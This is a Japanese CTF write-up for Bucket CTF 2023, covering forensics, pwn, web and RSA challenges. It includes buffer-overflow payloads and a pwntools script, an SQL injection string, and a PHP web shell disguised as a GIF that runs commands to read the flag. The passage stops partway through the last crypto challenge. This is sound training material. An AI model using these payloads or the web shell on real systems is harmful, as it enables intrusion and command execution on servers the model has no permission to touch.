Bucket CTF 2023 Writeup

この大会は2023/4/8 2:00(JST)~2023/4/10 2:00(JST)に開催されました。
今回もチームで参戦。結果は4860点で500チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (MISC, EASY)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

bucket{j01n_th3_d15c0rd}

Image-2 (MISC, EASY)

EXIF情報を見てみる。

$ exiftool mrxbox98.png 
ExifTool Version Number         : 12.40
File Name                       : mrxbox98.png
Directory                       : .
File Size                       : 35 KiB
File Modification Date/Time     : 2023:04:08 04:34:27+09:00
File Access Date/Time           : 2023:04:08 04:35:15+09:00
File Inode Change Date/Time     : 2023:04:08 04:34:27+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 512
Image Height                    : 512
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 3779
Pixels Per Unit Y               : 3779
Pixel Units                     : meters
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : bucket(m3t4d4t4_4c53f444)
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Image Size                      : 512x512
Megapixels                      : 0.262

Makeにフラグが設定されていた。

bucket(m3t4d4t4_4c53f444)

Detective (MISC, EASY)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

bucket{r3plAc3_c0L0Rs!!}

minecraft (MISC, EASY)

$ file bucketctfMC.mcworld 
bucketctfMC.mcworld: Zip archive data, at least v4.5 to extract, compression method=deflate
$ unzip bucketctfMC.mcworld
Archive:  bucketctfMC.mcworld
  inflating: db/000003.log           
  inflating: db/CURRENT              
  inflating: db/MANIFEST-000002      
  inflating: level.dat               
  inflating: level.dat_old           
  inflating: levelname.txt           
  inflating: world_icon.jpeg
$ strings db/000003.log | grep -a -A 2 bucket
bucket{1L0V3MIN
3CRAFT_1c330e9
105f1}
--
bucket{1L0V3MIN
3CRAFT_1c330e9
105f1}
--
bucket{1L0V3MIN
3CRAFT_1c330e9
105f1}
bucket{1L0V3MIN3CRAFT_1c330e9105f1}

Transmission (MISC, EASY)

横に細長い画像になっている。RGBの値をASCIIコードとしてデコードする。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('beamoflight.png').convert('RGB')
w, h = img.size

msg = ''
for x in range(w):
    r, g, b = img.getpixel((x, 0))
    msg += chr(r)
    msg += chr(g)
    msg += chr(b)
print(msg)

デコードした結果は以下の通り。

:03:47: Alien Species 1: Greetings, unidentified spacecraft. This is the Andromedan Confederation. State your intentions.

02:03:50: Alien Species 2: Hello, Andromedan Confederation. This is the Sagittarian Alliance. We come in peace and wish to establish communication with your species.

02:03:53: Andromedan Confederation: We acknowledge your message, Sagittarian Alliance. We too come in peace. What is it that you wish to communicate about?

02:03:56: Sagittarian Alliance: We are interested in establishing a mutual defense agreement with your confederation. We have encountered hostile forces in this sector and believe that we can work together to protect our civilizations.

02:04:00: Andromedan Confederation: Your proposal is intriguing, Sagittarian Alliance. We will need to discuss this with our council and get back to you. In the meantime, can you tell us more about the hostile forces you have encountered?

02:04:04: Sagittarian Alliance: We have reason to believe that they are part of a larger coalition that seeks to dominate this sector of the galaxy. They are highly advanced and have already destroyed several of our outposts.

02:04:09: Andromedan Confederation: We are sorry to hear that. We too have had encounters with hostile forces in this sector. We will do everything in our power to assist you.

02:04:13: Sagittarian Alliance: Thank you, Andromedan Confederation. We have a message that we would like to send to you privately. Is there a secure channel that we can use?

02:04:18: Andromedan Confederation: Yes, we have a secure channel that we can open. We will send you the coordinates now.

02:04:22: Sagittarian Alliance: Thank you, Andromedan Confederation. We are sending the message now.

#####
bucket{d3c0d3_th3_png_f7c74c1dc7}
#####

02:04:25: Andromedan Confederation: Message received. We will keep this information confidential and use it to aid in our joint defense efforts.

02:04:29: Sagittarian Alliance: We trust that you will. Thank you for your cooperation, Andromedan Confederation. We look forward to working with you.

02:04:33: Andromedan Confederation: Likewise, Sagittarian Alliance. Until next time, safe travels.

この中にフラグが含まれていた。

bucket{d3c0d3_th3_png_f7c74c1dc7}

clocks (MISC, MEDIUM)

送信パケットはすべて同じものになっている。時間間隔が意味をなしていると推測し、時間表示形式を「前に表示されたパケットからの秒数」にしてみると、約0.1秒のものと約0.5秒のものがあることがわかる。
約0.1秒のものを0、約0.5秒のものを1を対応付け、2進数としてデコードしてみる。このとき、Wiresharkの[ファイル]-[エキスパートパケット解析]-[CSVとして]を選択し、CSVファイルに保存する。この保存データを使って、デコードする。

#!/usr/bin/env python3
import csv

bin_flag = ''
with open('clocks_medium.csv', 'r') as f:
    reader = csv.reader(f)

    init = True
    for row in reader:
        if init:
            init = False
            continue
        t = row[1][:3]
        if t == '0.1':
            bin_flag += '0'
        elif t == '0.5':
            bin_flag += '1'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print(flag)
bucket{look_at_the_times_sometimes}

Starting place (PWN, EASY)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  int iVar1;
  char local_30 [12];
  undefined2 local_24;
  undefined local_22;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_24 = 0x736c;
  local_22 = 0;
  puts("Hi! would you like see the current directory?");
  read(0,local_30,0x1c);
  iVar1 = strcmp(local_30,"no\n");
  if (iVar1 == 0) {
    puts("ok");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Ok \n");
  system((char *)&local_24);
  return 0;
}

標準ではコマンドは"ls"になっている。BOFでコマンドを上書きできる。

$ nc 213.133.103.186 7073
Hi! would you like see the current directory?
yes
yes
Ok 

Dockerfile  boot  flag.txt  lib32   media  problem_backend.c  run   sys  var
a.out	    dev   home	    lib64   mnt    proc		      sbin  tmp
bin	    etc   lib	    libx32  opt    root		      srv   usr


$ nc 213.133.103.186 7073
Hi! would you like see the current directory?
AAAAAAAAAAAAcat flag.txt
AAAAAAAAAAAAcat flag.txt
Ok 

bucket{congrats-on-the-buffer-overlfow-success}sh: 2: ���: not found
bucket{congrats-on-the-buffer-overlfow-success}

Never Called (PWN, HARD)

$ file a.out
a.out: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d7752ae644fe997e0894f0a66f20ca20745cfdf8, for GNU/Linux 3.2.0, with debug_info, not stripped

$ checksec --file a.out
[*] '/mnt/hgfs/Shared/a.out'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Ghidraでデコンパイルする。

void main(void)

{
  undefined *puVar1;
  
  puVar1 = &stack0x00000004;
  puts("Starting program");
  getMessage(puVar1);
  printf("back.");
  printf("Exiting!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void getMessage(void)

{
  char local_3e [54];
  
  printf("Enter your name: ");
  gets(local_3e);
  printf("Hello, %s\n",local_3e);
  return;
}

void printFlag(void)

{
  char local_410 [1024];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fgets(local_410,0x400,local_10);
  printf("Your flag: %s\n",local_410);
  fclose(local_10);
  return;
}

BOFでprintFlag関数をコールできれば良い。サーバ上ではASLR無効らしいので、ここでprintFlagのアドレスを確認する。

$ gdb -q ./a.out
Reading symbols from ./a.out...
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[-----------------------------------registers-----------------------------------]
EAX: 0x565561fd (<main>:	lea    ecx,[esp+0x4])
EBX: 0x56558fc0 --> 0x3ec8 
ECX: 0xffffd090 --> 0x1 
EDX: 0xffffd0b0 --> 0xf7e26000 --> 0x225dac 
ESI: 0xffffd144 --> 0xffffd30a ("/mnt/hgfs/Share"...)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffd078 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c457f 
ESP: 0xffffd070 --> 0xffffd090 --> 0x1 
EIP: 0x56556217 (<main+26>:	sub    esp,0xc)
[-------------------------------------code--------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Temporary breakpoint 1, main (argc=0x1, argv=0xffffd144) at main.c:11
11	main.c: そのようなファイルやディレクトリはありません.
gdb-peda$ p printFlag
$1 = {void ()} 0x565562ab <printFlag>
gdb-peda$ c
Continuing.
Starting program
Enter your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[-----------------------------------registers-----------------------------------]
EAX: 0x6c (b'l')
EBX: 0x63414147 (b'GAAc')
ECX: 0x0 
EDX: 0x0 
ESI: 0xffffd144 --> 0xffffd30a ("/mnt/hgfs/Share"...)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41324141 (b'AA2A')
ESP: 0xffffd070 ("dAA3AAIAAeAA4AA"...)
EIP: 0x41414841 (b'AHAA')
[-------------------------------------code--------------------------------------]
Invalid $PC address: 0x41414841
[-------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414841 in ?? ()
gdb-peda$ patto AHAA
AHAA found at offset: 62
#!/usr/bin/env python3
from pwn import *

p = remote('213.133.103.186', 5599)

printFlag_addr = 0x565562ab

payload = b'A' * 62
payload += p32(printFlag_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)
data = p.recvline().rstrip()
print(data)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 213.133.103.186 on port 5599: Done

Enter your name: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV'
b'Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xabbUV'
Your flag: bucket{5t4ck_5m45h3r_974c91a5}
[*] Closed connection to 213.133.103.186 port 5599
bucket{5t4ck_5m45h3r_974c91a5}

Apps (REV, EASY)

$ file CTF.aia 
CTF.aia: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip CTF.aia
Archive:  CTF.aia
Built with MIT App Inventor
  inflating: src/appinventor/ai_23saahilt/CTF/Screen1.bky  
  inflating: src/appinventor/ai_23saahilt/CTF/Screen1.scm  
  inflating: youngandroidproject/project.properties
$ strings src/appinventor/ai_23saahilt/CTF/Screen1.bky | grep bucket
<xml xmlns="http://www.w3.org/1999/xhtml"><block type="component_event" id="}v5IB/Ql!]~VtisOc[!{" x="-432" y="-326"><mutation component_type="Switch" is_generic="false" instance_name="Switch1" event_name="Changed"></mutation><field name="COMPONENT_SELECTOR">Switch1</field><statement name="DO"><block type="controls_if" id="B?8jXOHYp[5]5SxAIPWx"><value name="IF0"><block type="component_set_get" id="~CyOZ;XIKPg+n+4^c1cc"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch5"></mutation><field name="COMPONENT_SELECTOR">Switch5</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="controls_if" id="W|Ac-2RqL}2dD(-7NLh+"><value name="IF0"><block type="component_set_get" id="0^dN.fo62K%503kFF`h*"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch7"></mutation><field name="COMPONENT_SELECTOR">Switch7</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="controls_if" id="r$3l6a3yJvpTO-AZ-4nM"><value name="IF0"><block type="component_set_get" id=")TQHD!A;jD0X^fxd47t|"><mutation component_type="Switch" set_or_get="get" property_name="On" is_generic="false" instance_name="Switch13"></mutation><field name="COMPONENT_SELECTOR">Switch13</field><field name="PROP">On</field></block></value><statement name="DO0"><block type="component_set_get" id="t%xoRZuLP+tP53R5Yg5W"><mutation component_type="TextBox" set_or_get="set" property_name="Text" is_generic="false" instance_name="TextBox1"></mutation><field name="COMPONENT_SELECTOR">TextBox1</field><field name="PROP">Text</field><value name="VALUE"><block type="text" id="rmJK*:8a=Rp?GI;=tBed"><field name="TEXT">bucket{M1T_4PP_1NV3NT0R_bf0285c53}</field></block></value></block></statement></block></statement></block></statement></block></statement></block><yacodeblocks ya-version="221" language-version="36"></yacodeblocks></xml>

1行が長いが、フラグが含まれていた。

bucket{M1T_4PP_1NV3NT0R_bf0285c53}

SQLi-1 (WEB, EASY)

WebページはNameとEmailを入力する画面になっている。以下を入力し、submitすると、フラグが表示された。

Name : ' or 1= 1 -- -
Email: test@test.com
bucket{s1mp13_sq11_ed0176a}

SQLi-2 (WEB, MEDIUM)

SQLi-1と同様。以下を入力し、submitすると、フラグが表示された。

Name : ' or 1= 1 -- -
Email: test@test.com
bucket{m3d1um_sq11_693f79541}

gif (WEB, HARD)

GIFファイルをアップロードする画面になっている。さらにアップロードしたファイルを指定したファイル名に変更してくれる。以下のファイルを作成する。

$ cat expolit.gif
GIF89a
<?php
phpinfo();
?>

このexploit.gifをFilenameにexploit.phpを指定してアップロードする。http://213.133.103.186:6041/uploads/exploit.phpにアクセスすると、PHP情報が表示された。
今度はパラメータで指定したコマンドを実行できるPHPコードに変えてみる。

$ cat expolit.gif
GIF89a
<?php
system($_GET["cmd"]);
?>

先程と同じように、このファイルをアップロードする。http://213.133.103.186:6041/uploads/exploit.php?cmd=pwdにアクセスすると、以下のように表示された。

GIF89a /var/www/html/uploads

次にhttp://213.133.103.186:6041/uploads/exploit.php?cmd=ls%20/にアクセスすると、以下のように表示された。

GIF89a bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

今度はhttp://213.133.103.186:6041/uploads/exploit.php?cmd=cat%20/flag.txtにアクセスすると、フラグが表示された。

GIF89a bucket{1_h4t3_PHP}
bucket{1_h4t3_PHP}

TBDLCG (CRYPTO EASY)

spinとlocationを推測する必要がある。途中で(8, 8)のペアで答えていけば良さそうと気づき、答えていくと、フラグが表示された。

$ nc 213.133.103.186 5425
You are playing a game of table tennis against Cogsworth64's AI bot.
The bot is only able to serve the ball, because Cogsworth64 disabled .
The bot will send a certain spin (represented by a number 0-8) and location (represented by a number 0-8) at each point. If you can guess the spin and location, you win the point. If you can't, the bot wins the point.
The first player to win 20 points wins the game. Try not to lose.

Your score: 0
Bot's score: 0
What is your guess for location?0
What is your guess for spin?0
You lose the point!
The bot's spin was 8 and location was 8
Your score: 0
Bot's score: 1
What is your guess for location?1
What is your guess for spin?2
You lose the point!
The bot's spin was 8 and location was 8
Your score: 0
Bot's score: 2
What is your guess for location?8
What is your guess for spin?8
You win the point!
Your score: 1
Bot's score: 2
What is your guess for location?8
What is your guess for spin?8
You win the point!
Your score: 2
Bot's score: 2
What is your guess for location?8
What is your guess for spin?8
You win the point!
Your score: 3
Bot's score: 2
What is your guess for location?8
What is your guess for spin?8
You win the point!
Your score: 4
Bot's score: 2
What is your guess for location?8
What is your guess for spin?8
You win the point!
You win the game!
b'bucket{#1_victory_royale_86f2b88341d8d}\n'

問題タイトルから推測すると、LCGの問題だったのかもしれないが、フラグが得られたので、よしとする。

bucket{#1_victory_royale_86f2b88341d8d}

Search - 0 (CRYPTO, EASY)

$ nc 213.133.103.186 5061
37082117030671548391307102956786295768558287165015137722191075990653337006364
75011757889153052557680793340742982322848964459897131603166631930093034489541
110000010010000110100011010110101010011110110111110000010011100110000111110010110101010111000110100000101011

RSA暗号で n, e, c の他に、p の上位ビットがわかっている。不明なビット数が少ないので、ブルートフォースでnを割り切れるものを探す。qもわかるので、あとは通常通りの方法で復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 65537
c = 37082117030671548391307102956786295768558287165015137722191075990653337006364
n = 75011757889153052557680793340742982322848964459897131603166631930093034489541
bin_pbar = '110000010010000110100011010110101010011110110111110000010011100110000111110010110101010111000110100000101011'
kbits = 128 - len(bin_pbar) - 1

for i in range(2 ** kbits):
    bin_p = bin_pbar + bin(i)[2:].zfill(kbits) + '1'
    p = int(bin_p, 2)
    if n % p == 0:
        break

q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
bucket{m3m0ry_L3Aks_4R3_bAD}

Search - 1 (CRYPTO, MEDIUM)

$ nc 213.133.103.186 5976
34786799883592694444424722869952149896835957709902322079935288169628374880573
48159242364158057536719347392289161789418729076867074940503640874442813226247
48159242364158057536719347392289161788529791606886694463915155511703875266955

RSA暗号で n, e, c の他に、(p - 2) * (q - 2) がわかっている。

leak = (p - 2) * (q - 2) = n - 2 * (p + q) + 4
        ↓
q = (n - leak + 4) // 2 - p

p * q = nと合わせ、2次方程式にして、pを解く。qもわかるので、あとは通常通りの方法で復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

e = 65537
c = 34786799883592694444424722869952149896835957709902322079935288169628374880573
n = 48159242364158057536719347392289161789418729076867074940503640874442813226247
leak = 48159242364158057536719347392289161788529791606886694463915155511703875266955

p = sympy.Symbol('p')
q = (n - leak + 4) // 2 - p
eq = p * q - n
ans = sympy.solve(eq)
p = int(ans[0])
q = int(ans[1])
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
bucket{d0nt_l34K_pr1v4T3_nUmS}

Search - 2 (CRYPTO, MEDIUM)

$ nc 213.133.103.186 5054
44814774583990961826649747202842386212218982397017819767224979025756664264937597583216921513570635646760248474850500538752368265714687
454407079243539373679724849795459993125507455094534472109900951375356622061717226521121002977964416773077308149332835987785755128803869
449130612708538786784226572323278705383186153031166592388893968693815556828570518625101022697111619242933196851560283286735326359974113

RSA暗号で n, e, c の他に dがわかっている。dがわかっているので、通常通りの方法で復号すると、mはわかる。n, e, dがわかっているので、pはわかる。そこからmを引き、文字にすればフラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *
from Crypto.PublicKey import RSA

e = 65537
c = 44814774583990961826649747202842386212218982397017819767224979025756664264937597583216921513570635646760248474850500538752368265714687
n = 454407079243539373679724849795459993125507455094534472109900951375356622061717226521121002977964416773077308149332835987785755128803869
d = 449130612708538786784226572323278705383186153031166592388893968693815556828570518625101022697111619242933196851560283286735326359974113

m = pow(c, d, n)

rsa = RSA.construct((n, e, d))
p = rsa.p

flag = long_to_bytes(p - m).decode()
print(flag)
bucket{sw1tCH1nG_D1dNT_W0rK}

Psychology Random (CRYPTO, HARD)

サーバの処理概要は以下の通り。

・seedKey = []
・addKey: 1以上10以下のランダム整数
・以下4回繰り返し
 ・seedKeyに0以上255以下のランダム整数を追加
・encryptedFlag: 空のバイト配列
・以下フラグの長さだけ実行(i)
 ・flag[i]とseedKey[i%4]のXORをencryptedFlagに追加
 ・seedKey[i%4] = (seedKey[i%4] + addKey) % 255

4バイトごとのブロックにし、ブルートフォースで同じインデックスでpritableになるようパラメータをチェックし、復号する。

$ nc 213.133.103.186 5542
bytearray(b't\x8d(\xcad\xc25\xdc2\x9b$\xda \xb0\'\x9c-\xa6E\xaf\x05\xa4L\xb3\x08\xa2S\xba\x00\xb1\r\xf8\x02\x80\xa1\xbe\x0e\x89\xa8\x93\xed\x92\xed\x81\xef\xda\xe2\x9b\xb1m\xfb\x9d\xfd{\x84z\xf0e\x8bk\xc2z\xdbb\xdew\xd6v\x94Q\xaf?\xe8X\xa6H\xa4\\\xbcI\xe7\x1a\x81\\\xb92\xfc_\xb2+\x8a1\xb7 \x84i\x8c8\xd1>\x83}\x8f6\x8aDd7\x97\x02i\x0cq\x1ak\x1f)\x00z\x06b\xa0}\ng\xebJ\xe2\x7f\xfaC\xe7K\xb9\x11\xf8D\xf5[\xfe\x13\xd4Z\xbdQ\xc4)\xd3a\xc6,\xd8h\xdb;\xdf?\xd3>\xcd3\xa2B\xb74\xb9\x01\xe7\x10\xbc\x1f\xbb\x0c\xb3\x03\xb3\x07\x8e\x10\xb9\n\x9a\xa5\x82\xee\x94\xac\x89\xe6\x85\xf6\xdf\xae\xa9\xff\xd8\xe2c\xd3e\xbcd\xc6t\xd3}\xddk\xce;\xd4l\x91V\xd5y\x98A\xabS\xdaC\xebK\xa8S\xf2U\xbf[\xb8U\xa7e\x99P\xae>\xc7\'\x92#\x82$\x8a;\x81=\x9f\x0f\xdc)\x92\x18v\x07\x8d\ne\x1duX2\'h]n\x12f\xe1\x00\x16n\xe6E\xe9G\xf6\x0e\xeeP\xb9A\xfbU\x80H\xfb[\xc2-\xd5\x12\x8e)\xc7(\xd88\xdb!\xd96\xc2\x7f\xe3=\xc89\xa1\x03\xb0\x1a\xa29\xfa$\x94+\xb1\x1d\x86+\xadF\x81\xd0\x81\r\xa5\xe0\xa4\xc5\x98\xdc\x97\xd4\x88\xa4\x96\xc7Q\xad\xd2\xb7$\xd8(\x80p\xc2o\x87p\xd6s\xdck\x9a`\xdaS\xe1B\xceD\xa6@\xe3@\xa0\x0e\xb3T\xa3G\xf1#\xbe]\xbc,\x89*\xbc#\xc7j\x83/\x86#\x8c=\x8c*\x86\x0cb*\x97\rzFb\x10{\x04|\x13b\x1dt\xf21[o\xe7V\xe93\xafJ\xe7B\xb6T\xf1@\xf4U\xee\x14\xd6%\xedK\xc4)\xd6+\xd0\'\xc0 \xcd<\xd6#\xee|\xe9>\xaa\x13\xad\'\xee\x1a\xbd\x11\xf9Q\xb8\t\xfc\x0f\xbf\x00\x8b_\xaa\x1f\xca\xee\x85\xe5\xd1\xe0\x84\xfa\x9d\xb4\x81\xffa\xf8\x9c\xb6n\xcc!\xe9f\xcc(\xc2|\xc2|\xdf1\xces\xd3Q\x9e~\xd5K\xb6W\xee\x11\x8d_\xe7]\xa5W\xbcF\xfaJ\xa1#\x91`\xb5#\xc8(\x96&\xcf>\x984\x950\x82\x11\xd1|\x9e\x1bj\x0e \x04d\x0f\'\x1a|\x1ck\x10nXb\xe0\x01\x10l\xe9F\xa6B\xfd\x0f\xecZ\xeaZ\xfdR\xc0I\xf2W\xc6d\xd6P\x8f"\xdd5\x967\xc6(\xd3-\xc25\xa8@\xce)\xae\x14\xa0\x0c\xa6\x0f\xb8\x00\xb6\x1b\xf3\x19\x8e\\\xae\x1f\x82\xa3\x80\x1a\x83\xe3\x9b\xf6\x9c\xfe\x81\xac\x9f\xf7\x9b\xfem\xeb\x89\xffn\x8a%\xd6w\x8dn\xdap\xdat\x8fT\xd3\x7f\x96O\xabF\xd5K\xba\\\xe4Y\xb5Y\xaeP\xf7Y\xb4c\xbdR\xb79\x8c \x85#\x8d?\x8e7\x9dr\x9a0\xda6\x80\x14"\x04\x99\x0e`\x14m\x1b~\x1d%[B\x19f\xebs\x1dm\xecI\xfa\x0c\xb0X\xe2B\xe4V\xb1J\xf7\\\xfe\\\xc64\xf3H\x8c,\xc3 \xda<\xc4%\xd4%\x940\xb38\x9b5\xa9\x00\xa7\x7f\xb8\x02\xbd\x0e\xf6\x11\xbf\x03\xab\x10\xb4\x00\x8d\xef\xb0[\x8a\xe9\x81\xa2\x91\xe2\x8d\xfb\x90\xe1\x8a\xbc!\xfd\x94\xf3(\xd4g\xbek\xc5)\xcby\xc50\xcfr\xd6s\xc6G\xcb>\xdbE\xe6D\xb1B\xa8M\xa4\x19\xa4A\xa0#\xbeI\xa5i\xc2\x16\xb8n\x9b-\x87:\x9d"\x8e2\x93v\x84\n\x8d4\x8d\x03h\x03!\x1ex\x19(\x08u\x15j_t\x1f6\xe0P\xe5l\xf8L\xe9P\xf8I\xaeJ\xe8\\\xf0V\x82O\xe9\\\xda1\xca/\xde?\x8a!\xd8!\x91/\xd0)\xcf0\xb7\x12\x9f=\xae\x07\xb3\x17\xf3\x00\xb8\x18\xfa\x17\xb0\x1c\x88\x0e\xa8\x11\x87\xea\xc2\x0f\x9d\xe4\x8a\xe3\x85\xe1\xde\xad\xb4\xb9\x96\xf8v\xcf\xde\xecm\xc9r\x82g\xc1-\xdar\xd4f\xd5\x01\xddu\x97I\xb1V\xd7L\xa6L\xe5\x7f\xf1G\xbeR\xacR\xf37\xbaH\xbf9\x87)\xc1+\x88-\x9a*\xd42\x88\x0f\xdb<\x99\x15#\x15\x95\x0b*$j\x061.b\x1b}\x1av\xf0?)s\xe7C\xf7\x0f\xb1d\xe5\x08\xf1@\xbe\x0f\xd6\x1b\xebS\xc0.\xc5^\xd9i\xc8*\x941\xca&\xd2$\xc6;\xad0\x9c=\xac\x06\xaa\x13\xb9\x03\xa4\x14\xf7\x1a\xbfN\xaa\x12\xbdU\x86\xee\xb1\x08\x89\xf0\x92\xa3\x9c\xe9\xcd\xef\x9e\xe3\x97\xf0v\xf4\x94\xf6h\xc8#\xf5\x7f\xdex\xc8r\xcbb\x8dj\xd1y\xc0\x05\xa5q\xd8C\xaaV\xa3@\xbd\r\xa8\x1a\xb9]\xb6$\xa8R\xba-\xcdb\x8a\'\x8b\'\x8ev\x88?\x99}\x9e8\x81Da.\x8a\x07~\x0cl\x15.\x18fYF\x07q\xeez\x15e\xe3\r\xa1I\xeb\n\xedK\xff^\xf6I\xf8\x18\xfaV\xc2M\xf3S\xc4!\x84 \xd3"\xde<\x98-\xdd:\x93{\xd88\xa2B\xb78\xed\x02\xa9\x0b\xa3P\xb7\x04\xaeW\xa2\x1b\x8e\x12\xfc\r\x81\xf7\x8a\xf6\x95\xac\x9d\xef\x92\xe1\x94\xf8\x9b\xe8\xd8\xeci\xd4r\xbch\xccr\xc0u\xdbg\xc5u\x96a\xd0I\xd8o\x98P\xabV\x91\x10\x9cC\xb2_\xf2G\xa8L\xa0\x18\xb6 \x93K\xfb;\x8e5\x8a6\x9da\xc9\x08\x9c7\x98\x00\x8e?\xd7 *B\xad\x07j\x1e&2w\x11c]v\x114\xc5D\x13r\xf8T\xecM\xfc\x0e\xedG\xfd\x15\xd5Y\xce]\xf4T\xce"\xcd\x1e\xef#\xcc')

この暗号を復号する。

#!/usr/bin/env python3
data = bytearray(b't\x8d(\xcad\xc25\xdc2\x9b$\xda \xb0\'\x9c-\xa6E\xaf\x05\xa4L\xb3\x08\xa2S\xba\x00\xb1\r\xf8\x02\x80\xa1\xbe\x0e\x89\xa8\x93\xed\x92\xed\x81\xef\xda\xe2\x9b\xb1m\xfb\x9d\xfd{\x84z\xf0e\x8bk\xc2z\xdbb\xdew\xd6v\x94Q\xaf?\xe8X\xa6H\xa4\\\xbcI\xe7\x1a\x81\\\xb92\xfc_\xb2+\x8a1\xb7 \x84i\x8c8\xd1>\x83}\x8f6\x8aDd7\x97\x02i\x0cq\x1ak\x1f)\x00z\x06b\xa0}\ng\xebJ\xe2\x7f\xfaC\xe7K\xb9\x11\xf8D\xf5[\xfe\x13\xd4Z\xbdQ\xc4)\xd3a\xc6,\xd8h\xdb;\xdf?\xd3>\xcd3\xa2B\xb74\xb9\x01\xe7\x10\xbc\x1f\xbb\x0c\xb3\x03\xb3\x07\x8e\x10\xb9\n\x9a\xa5\x82\xee\x94\xac\x89\xe6\x85\xf6\xdf\xae\xa9\xff\xd8\xe2c\xd3e\xbcd\xc6t\xd3}\xddk\xce;\xd4l\x91V\xd5y\x98A\xabS\xdaC\xebK\xa8S\xf2U\xbf[\xb8U\xa7e\x99P\xae>\xc7\'\x92#\x82$\x8a;\x81=\x9f\x0f\xdc)\x92\x18v\x07\x8d\ne\x1duX2\'h]n\x12f\xe1\x00\x16n\xe6E\xe9G\xf6\x0e\xeeP\xb9A\xfbU\x80H\xfb[\xc2-\xd5\x12\x8e)\xc7(\xd88\xdb!\xd96\xc2\x7f\xe3=\xc89\xa1\x03\xb0\x1a\xa29\xfa$\x94+\xb1\x1d\x86+\xadF\x81\xd0\x81\r\xa5\xe0\xa4\xc5\x98\xdc\x97\xd4\x88\xa4\x96\xc7Q\xad\xd2\xb7$\xd8(\x80p\xc2o\x87p\xd6s\xdck\x9a`\xdaS\xe1B\xceD\xa6@\xe3@\xa0\x0e\xb3T\xa3G\xf1#\xbe]\xbc,\x89*\xbc#\xc7j\x83/\x86#\x8c=\x8c*\x86\x0cb*\x97\rzFb\x10{\x04|\x13b\x1dt\xf21[o\xe7V\xe93\xafJ\xe7B\xb6T\xf1@\xf4U\xee\x14\xd6%\xedK\xc4)\xd6+\xd0\'\xc0 